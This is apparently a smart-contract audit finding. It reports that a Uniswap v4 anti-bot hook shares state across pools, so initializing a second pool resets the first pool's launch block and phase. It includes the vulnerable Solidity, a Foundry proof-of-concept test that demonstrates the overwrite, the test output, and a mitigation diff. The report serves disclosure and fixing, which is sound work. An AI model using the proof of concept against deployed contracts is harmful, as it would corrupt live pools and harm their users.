Description
The hook should maintain separate state for each pool it manages.
The hook doesn't validate which pool is initializing in _afterInitialize(). The same hook instance can be attached to multiple pools, and each initialization overwrites the previous pool's state since all state variables are shared.
function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
if (!key.fee.isDynamicFee()) {
revert MustUseDynamicFee();
}
launchStartBlock = block.number;
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity);
currentPhase = 1;
lastPhaseUpdateBlock = block.number;
return BaseHook.afterInitialize.selector;
}
Risk
Likelihood:
Impact:
Legitimate pool's state permanently destroyed
Users in Pool 1 get wrong phases based on Pool 2's initialization time
Users in Pool 1 get wrong limits based on Pool 2's liquidity
All tracking (addressSwappedAmount) shared between pools
Proof of Concept
Run: forge test --mt test_MultiplePoolsOverwriteState -vv
function test_MultiplePoolsOverwriteState() public {
address alice = makeAddr("alice");
token.mint(alice, 100 ether);
vm.deal(alice, 100 ether);
vm.startPrank(alice);
token.approve(address(swapRouter), type(uint256).max);
swapRouter.swap{value: 0.01 ether}(
key,
SwapParams({zeroForOne: true, amountSpecified: -0.01 ether, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}),
PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
ZERO_BYTES
);
vm.stopPrank();
vm.roll(block.number + phase1Duration + 1);
console.log("Pool 1 phase should be: 2");
MockERC20 token2 = new MockERC20("TOKEN2", "TK2", 18);
Currency token2Currency = Currency.wrap(address(token2));
PoolKey memory maliciousKey = PoolKey({
currency0: ethCurrency,
currency1: token2Currency,
fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
tickSpacing: 60,
hooks: antiBotHook
});
manager.initialize(maliciousKey, SQRT_PRICE_1_1_s);
console.log("Pool 1 launch block was: 1");
console.log("Pool 1 launch block now:", antiBotHook.launchStartBlock());
console.log("Pool 1 phase actually is:", antiBotHook.currentPhase());
assertEq(antiBotHook.launchStartBlock(), block.number, "State overwritten");
assertEq(antiBotHook.currentPhase(), 1, "Phase reset to 1");
}
Output:
Pool 1 phase should be: 2
Pool 1 launch block was: 1
Pool 1 launch block now: 102
Pool 1 phase actually is: 1
Recommended Mitigation
Lock hook to single pool:
+ PoolId public authorizedPool;
+ bool public initialized;
function _afterInitialize(...) {
+ PoolId poolId = key.toId();
+ if (initialized) {
+ require(poolId == authorizedPool, "Unauthorized pool");
+ return BaseHook.afterInitialize.selector;
+ }
+ initialized = true;
+ authorizedPool = poolId;
launchStartBlock = block.number;
initialLiquidity = uint256(liquidity);
currentPhase = 1;
}
function _beforeSwap(...) {
+ require(key.toId() == authorizedPool, "Unauthorized pool");
// ... rest
}
